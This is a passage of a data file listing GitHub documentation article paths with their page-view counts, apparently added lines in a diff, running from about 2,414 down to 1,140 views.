"packages/learn-github-packages/installing-a-package", "path_count": 2414} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity", "path_count": 2406} +{"path_article": "graphql/overview/schema-previews", "path_count": 2399} +{"path_article": "authentication/managing-commit-signature-verification/signing-tags", "path_count": 2397} +{"path_article": "organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile", "path_count": 2391} +{"path_article": "discussions/quickstart", "path_count": 2384} +{"path_article": "admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server", "path_count": 2369} +{"path_article": "authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign", "path_count": 2366} +{"path_article": "issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests", "path_count": 2365} +{"path_article": "github/site-policy/github-data-protection-agreement", "path_count": 2347} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository", "path_count": 2341} +{"path_article": "github/collaborating-with-pull-requests/getting-started/about-collaborative-development-models", "path_count": 2338} +{"path_article": "get-started/getting-started-with-git/git-workflows", "path_count": 2336} +{"path_article": "get-started/quickstart/communicating-on-github", "path_count": 2334} +{"path_article": "actions/publishing-packages/publishing-java-packages-with-maven", "path_count": 2321} +{"path_article": "repositories/releasing-projects-on-github/linking-to-releases", "path_count": 2308} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board", "path_count": 2306} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository", "path_count": 2303} +{"path_article": "codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account", "path_count": 2301} +{"path_article": "code-security/getting-started/github-security-features", "path_count": 2295} +{"path_article": "actions/automating-builds-and-tests", "path_count": 2292} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review", "path_count": 2288} +{"path_article": "github/understanding-how-github-uses-and-protects-your-data/about-githubs-use-of-your-data", "path_count": 2269} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database", "path_count": 2267} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions", "path_count": 2263} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop", "path_count": 2261} +{"path_article": "billing/managing-billing-for-github-actions", "path_count": 2255} +{"path_article": "organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization", "path_count": 2253} +{"path_article": "developers/apps/guides/creating-ci-tests-with-the-checks-api", "path_count": 2250} +{"path_article": "codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces", "path_count": 2247} +{"path_article": "github/site-policy/guide-to-submitting-a-dmca-counter-notice", "path_count": 2246} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account", "path_count": 2244} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools", "path_count": 2241} +{"path_article": "rest/reference/migrations", "path_count": 2230} +{"path_article": "issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests", "path_count": 2224} +{"path_article": "pull-requests/collaborating-with-pull-requests", "path_count": 2217} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github", "path_count": 2213} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps", "path_count": 2208} +{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization", "path_count": 2199} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors", "path_count": 2198} +{"path_article": "rest/overview/troubleshooting", "path_count": 2189} +{"path_article": "organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team", "path_count": 2187} +{"path_article": "billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions", "path_count": 2183} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository", "path_count": 2150} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review", "path_count": 2137} +{"path_article": "codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces", "path_count": 2128} +{"path_article": "organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member", "path_count": 2120} +{"path_article": "rest/reference/code-scanning", "path_count": 2118} +{"path_article": "repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage", "path_count": 2115} +{"path_article": "billing/managing-billing-for-github-packages/about-billing-for-github-packages", "path_count": 2110} +{"path_article": "actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform", "path_count": 2105} +{"path_article": "graphql/guides/using-the-explorer", "path_count": 2097} +{"path_article": "billing/managing-billing-for-your-github-account/upgrading-your-github-subscription", "path_count": 2097} +{"path_article": "organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team", "path_count": 2086} +{"path_article": "authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status", "path_count": 2083} +{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization", "path_count": 2075} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository", "path_count": 2044} +{"path_article": "repositories/archiving-a-github-repository/referencing-and-citing-content", "path_count": 2043} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories", "path_count": 2034} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization", "path_count": 2027} +{"path_article": "communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository", "path_count": 2026} +{"path_article": "desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts", "path_count": 2020} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates", "path_count": 2012} +{"path_article": "organizations/managing-organization-settings/deleting-an-organization-account", "path_count": 2004} +{"path_article": "get-started/learning-about-github/github-language-support", "path_count": 2002} +{"path_article": "developers/apps/guides/using-the-github-api-in-your-app", "path_count": 1993} +{"path_article": "github/importing-your-projects-to-github", "path_count": 1993} +{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles", "path_count": 1992} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks", "path_count": 1992} +{"path_article": "actions/deployment/using-environments-for-deployment", "path_count": 1990} +{"path_article": "codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code", "path_count": 1989} +{"path_article": "actions/using-github-hosted-runners/customizing-github-hosted-runners", "path_count": 1978} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards", "path_count": 1965} +{"path_article": "actions/creating-actions/publishing-actions-in-github-marketplace", "path_count": 1962} +{"path_article": "github/working-with-github-support/submitting-a-ticket", "path_count": 1959} +{"path_article": "code-security/security-advisories/about-github-security-advisories", "path_count": 1947} +{"path_article": "github/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts", "path_count": 1944} +{"path_article": "sponsors", "path_count": 1942} +{"path_article": "graphql/reference/enums", "path_count": 1933} +{"path_article": "developers/overview", "path_count": 1925} +{"path_article": "rest/guides/getting-started-with-the-git-database-api", "path_count": 1925} +{"path_article": "graphql/overview/resource-limitations", "path_count": 1925} +{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor", "path_count": 1923} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository", "path_count": 1920} +{"path_article": "organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization", "path_count": 1916} +{"path_article": "organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization", "path_count": 1903} +{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop", "path_count": 1898} +{"path_article": "actions/hosting-your-own-runners/using-labels-with-self-hosted-runners", "path_count": 1895} +{"path_article": "developers/overview/secret-scanning-partner-program", "path_count": 1891} +{"path_article": "github/extending-github/getting-started-with-the-api", "path_count": 1881} +{"path_article": "get-started/exploring-projects-on-github/following-people", "path_count": 1878} +{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-security-log", "path_count": 1877} +{"path_article": "code-security/getting-started/adding-a-security-policy-to-your-repository", "path_count": 1872} +{"path_article": "repositories/working-with-files/using-files/navigating-code-on-github", "path_count": 1860} +{"path_article": "github/customizing-your-github-workflow/exploring-integrations/about-integrations", "path_count": 1857} +{"path_article": "actions/deployment/about-deployments/about-continuous-deployment", "path_count": 1855} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository", "path_count": 1839} +{"path_article": "github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud", "path_count": 1834} +{"path_article": "organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard", "path_count": 1830} +{"path_article": "search-github/getting-started-with-searching-on-github/sorting-search-results", "path_count": 1821} +{"path_article": "get-started/getting-started-with-git", "path_count": 1816} +{"path_article": "admin/installation/setting-up-a-github-enterprise-server-instance", "path_count": 1811} +{"path_article": "pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts", "path_count": 1797} +{"path_article": "admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements", "path_count": 1794} +{"path_article": "rest/guides/working-with-comments", "path_count": 1793} +{"path_article": "organizations/managing-organization-settings/transferring-organization-ownership", "path_count": 1792} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages", "path_count": 1783} +{"path_article": "github/site-policy/github-candidate-privacy-policy", "path_count": 1777} +{"path_article": "code-security/getting-started/securing-your-repository", "path_count": 1772} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization", "path_count": 1771} +{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue", "path_count": 1764} +{"path_article": "issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board", "path_count": 1761} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization", "path_count": 1760} +{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount", "path_count": 1757} +{"path_article": "github/working-with-github-support/about-github-support", "path_count": 1755} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility", "path_count": 1753} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files", "path_count": 1749} +{"path_article": "billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method", "path_count": 1749} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization", "path_count": 1745} +{"path_article": "billing/managing-billing-for-your-github-account", "path_count": 1745} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork", "path_count": 1738} +{"path_article": "repositories/archiving-a-github-repository", "path_count": 1737} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request", "path_count": 1736} +{"path_article": "rest/guides/discovering-resources-for-a-user", "path_count": 1718} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request", "path_count": 1717} +{"path_article": "admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script", "path_count": 1716} +{"path_article": "authentication/troubleshooting-ssh/error-unknown-key-type", "path_count": 1713} +{"path_article": "admin/configuration/configuring-your-enterprise/command-line-utilities", "path_count": 1712} +{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization", "path_count": 1709} +{"path_article": "authentication/keeping-your-account-and-data-secure/authorizing-github-apps", "path_count": 1700} +{"path_article": "github/setting-up-and-managing-your-enterprise", "path_count": 1699} +{"path_article": "github/working-with-github-support/github-enterprise-cloud-support", "path_count": 1698} +{"path_article": "organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities", "path_count": 1679} +{"path_article": "github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists", "path_count": 1677} +{"path_article": "actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners", "path_count": 1675} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview", "path_count": 1663} +{"path_article": "graphql/reference/scalars", "path_count": 1663} +{"path_article": "graphql/guides", "path_count": 1663} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile", "path_count": 1661} +{"path_article": "authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications", "path_count": 1658} +{"path_article": "get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server", "path_count": 1656} +{"path_article": "actions/managing-workflow-runs/removing-workflow-artifacts", "path_count": 1649} +{"path_article": "communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki", "path_count": 1649} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository", "path_count": 1647} +{"path_article": "billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage", "path_count": 1643} +{"path_article": "issues/organizing-your-work-with-project-boards", "path_count": 1621} +{"path_article": "organizations/managing-organization-settings", "path_count": 1617} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-python", "path_count": 1609} +{"path_article": "github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization", "path_count": 1607} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories", "path_count": 1605} +{"path_article": "github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations", "path_count": 1604} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork", "path_count": 1602} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges", "path_count": 1590} +{"path_article": "actions/managing-issues-and-pull-requests/adding-labels-to-issues", "path_count": 1589} +{"path_article": "github-cli/github-cli/quickstart", "path_count": 1586} +{"path_article": "admin/overview/about-github-ae", "path_count": 1585} +{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved", "path_count": 1582} +{"path_article": "rest/reference/scim", "path_count": 1582} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer", "path_count": 1580} +{"path_article": "issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects", "path_count": 1576} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github", "path_count": 1569} +{"path_article": "developers/apps/building-github-apps/creating-a-github-app-from-a-manifest", "path_count": 1568} +{"path_article": "admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise", "path_count": 1565} +{"path_article": "developers/apps/managing-github-apps/editing-a-github-apps-permissions", "path_count": 1557} +{"path_article": "admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account", "path_count": 1548} +{"path_article": "github/site-policy/github-sponsors-additional-terms", "path_count": 1548} +{"path_article": "billing/managing-your-github-billing-settings/about-billing-on-github", "path_count": 1546} +{"path_article": "organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization", "path_count": 1542} +{"path_article": "actions/advanced-guides/using-github-cli-in-workflows", "path_count": 1540} +{"path_article": "communities/documenting-your-project-with-wikis", "path_count": 1529} +{"path_article": "graphql/guides/migrating-from-rest-to-graphql", "path_count": 1525} +{"path_article": "rest/guides/best-practices-for-integrators", "path_count": 1522} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility", "path_count": 1509} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs", "path_count": 1507} +{"path_article": "authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys", "path_count": 1507} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork", "path_count": 1506} +{"path_article": "github/understanding-how-github-uses-and-protects-your-data/requesting-an-archive-of-your-personal-accounts-data", "path_count": 1503} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks", "path_count": 1503} +{"path_article": "codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces", "path_count": 1492} +{"path_article": "github/site-policy/github-logo-policy", "path_count": 1489} +{"path_article": "repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage", "path_count": 1488} +{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings", "path_count": 1488} +{"path_article": "admin/overview/system-overview", "path_count": 1487} +{"path_article": "issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository", "path_count": 1486} +{"path_article": "organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization", "path_count": 1485} +{"path_article": "admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance", "path_count": 1485} +{"path_article": "get-started/using-github/github-desktop", "path_count": 1482} +{"path_article": "developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app", "path_count": 1473} +{"path_article": "github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git", "path_count": 1473} +{"path_article": "github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository", "path_count": 1470} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests", "path_count": 1467} +{"path_article": "admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise", "path_count": 1463} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit", "path_count": 1452} +{"path_article": "repositories/releasing-projects-on-github/comparing-releases", "path_count": 1451} +{"path_article": "get-started/using-git/about-git-subtree-merges", "path_count": 1448} +{"path_article": "search-github/getting-started-with-searching-on-github", "path_count": 1437} +{"path_article": "actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions", "path_count": 1435} +{"path_article": "admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise", "path_count": 1435} +{"path_article": "rest/reference/licenses", "path_count": 1434} +{"path_article": "rest/reference/secret-scanning", "path_count": 1433} +{"path_article": "sponsors/getting-started-with-github-sponsors/about-github-sponsors", "path_count": 1427} +{"path_article": "communities/moderating-comments-and-conversations/managing-disruptive-comments", "path_count": 1425} +{"path_article": "github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace", "path_count": 1425} +{"path_article": "get-started/onboarding/getting-started-with-github-enterprise-cloud", "path_count": 1423} +{"path_article": "github/collaborating-with-pull-requests", "path_count": 1423} +{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository", "path_count": 1423} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot", "path_count": 1420} +{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program", "path_count": 1419} +{"path_article": "code-security/secret-scanning/configuring-secret-scanning-for-your-repositories", "path_count": 1409} +{"path_article": "billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process", "path_count": 1409} +{"path_article": "developers/apps/building-github-apps/setting-permissions-for-github-apps", "path_count": 1403} +{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students", "path_count": 1392} +{"path_article": "communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories", "path_count": 1383} +{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop", "path_count": 1380} +{"path_article": "rest/reference/reactions", "path_count": 1379} +{"path_article": "repositories/releasing-projects-on-github", "path_count": 1378} +{"path_article": "actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph", "path_count": 1378} +{"path_article": "authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k", "path_count": 1371} +{"path_article": "pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts", "path_count": 1349} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates", "path_count": 1347} +{"path_article": "codespaces/developing-in-codespaces/developing-in-a-codespace", "path_count": 1342} +{"path_article": "authentication/keeping-your-account-and-data-secure/about-anonymized-urls", "path_count": 1341} +{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization", "path_count": 1339} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository", "path_count": 1337} +{"path_article": "admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise", "path_count": 1333} +{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop", "path_count": 1333} +{"path_article": "developers/webhooks-and-events", "path_count": 1327} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends", "path_count": 1324} +{"path_article": "codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces", "path_count": 1323} +{"path_article": "actions/managing-workflow-runs/canceling-a-workflow", "path_count": 1319} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards", "path_count": 1318} +{"path_article": "github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account", "path_count": 1316} +{"path_article": "admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise", "path_count": 1316} +{"path_article": "authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions", "path_count": 1312} +{"path_article": "organizations/restricting-access-to-your-organizations-data", "path_count": 1307} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization", "path_count": 1304} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork", "path_count": 1303} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-nodejs", "path_count": 1300} +{"path_article": "search-github/searching-on-github/searching-topics", "path_count": 1295} +{"path_article": "actions/managing-workflow-runs/deleting-a-workflow-run", "path_count": 1291} +{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth", "path_count": 1290} +{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta", "path_count": 1288} +{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys", "path_count": 1284} +{"path_article": "billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account", "path_count": 1279} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies", "path_count": 1277} +{"path_article": "issues/tracking-your-work-with-issues/quickstart", "path_count": 1277} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot", "path_count": 1276} +{"path_article": "github/site-policy/github-deceased-user-policy", "path_count": 1274} +{"path_article": "admin/configuration/configuring-network-settings/network-ports", "path_count": 1274} +{"path_article": "codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces", "path_count": 1272} +{"path_article": "codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces", "path_count": 1271} +{"path_article": "github/writing-on-github/working-with-saved-replies/about-saved-replies", "path_count": 1264} +{"path_article": "github/site-policy/githubs-notice-about-the-california-consumer-privacy-act", "path_count": 1264} +{"path_article": "billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage", "path_count": 1257} +{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop", "path_count": 1256} +{"path_article": "admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap", "path_count": 1256} +{"path_article": "billing/managing-your-license-for-github-enterprise", "path_count": 1253} +{"path_article": "actions/hosting-your-own-runners/removing-self-hosted-runners", "path_count": 1253} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests", "path_count": 1251} +{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop", "path_count": 1245} +{"path_article": "admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise", "path_count": 1241} +{"path_article": "repositories/creating-and-managing-repositories/creating-an-issues-only-repository", "path_count": 1240} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board", "path_count": 1239} +{"path_article": "billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage", "path_count": 1236} +{"path_article": "actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions", "path_count": 1231} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema", "path_count": 1230} +{"path_article": "developers/apps/getting-started-with-apps/activating-optional-features-for-apps", "path_count": 1226} +{"path_article": "github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-the-github-archive-program-for-your-public-repository", "path_count": 1226} +{"path_article": "actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service", "path_count": 1221} +{"path_article": "organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization", "path_count": 1221} +{"path_article": "actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history", "path_count": 1218} +{"path_article": "desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems", "path_count": 1209} +{"path_article": "actions/publishing-packages/publishing-java-packages-with-gradle", "path_count": 1208} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company", "path_count": 1208} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board", "path_count": 1205} +{"path_article": "authentication/troubleshooting-commit-signature-verification", "path_count": 1200} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-powershell", "path_count": 1194} +{"path_article": "github/site-policy/github-marketplace-developer-agreement", "path_count": 1192} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders", "path_count": 1191} +{"path_article": "github/writing-on-github/working-with-saved-replies/using-saved-replies", "path_count": 1184} +{"path_article": "github/collaborating-with-pull-requests/addressing-merge-conflicts", "path_count": 1181} +{"path_article": "billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage", "path_count": 1180} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device", "path_count": 1178} +{"path_article": "billing/managing-billing-for-your-github-account/about-billing-for-github-accounts", "path_count": 1175} +{"path_article": "github/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github", "path_count": 1174} +{"path_article": "admin/configuration/configuring-network-settings/configuring-tls", "path_count": 1174} +{"path_article": "admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws", "path_count": 1173} +{"path_article": "organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization", "path_count": 1172} +{"path_article": "code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review", "path_count": 1167} +{"path_article": "developers/github-marketplace/github-marketplace-overview/about-marketplace-badges", "path_count": 1167} +{"path_article": "github/site-policy/github-bug-bounty-program-legal-safe-harbor", "path_count": 1165} +{"path_article": "github/site-policy/github-registered-developer-agreement", "path_count": 1162} +{"path_article": "admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh", "path_count": 1159} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility", "path_count": 1151} +{"path_article": "rest/reference/oauth-authorizations", "path_count": 1148} +{"path_article": "communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis", "path_count": 1147} +{"path_article": "admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud", "path_count": 1145} +{"path_article": "admin/guides", "path_count": 1143} +{"path_article": "admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users", "path_count": 1140} +{"path_article": 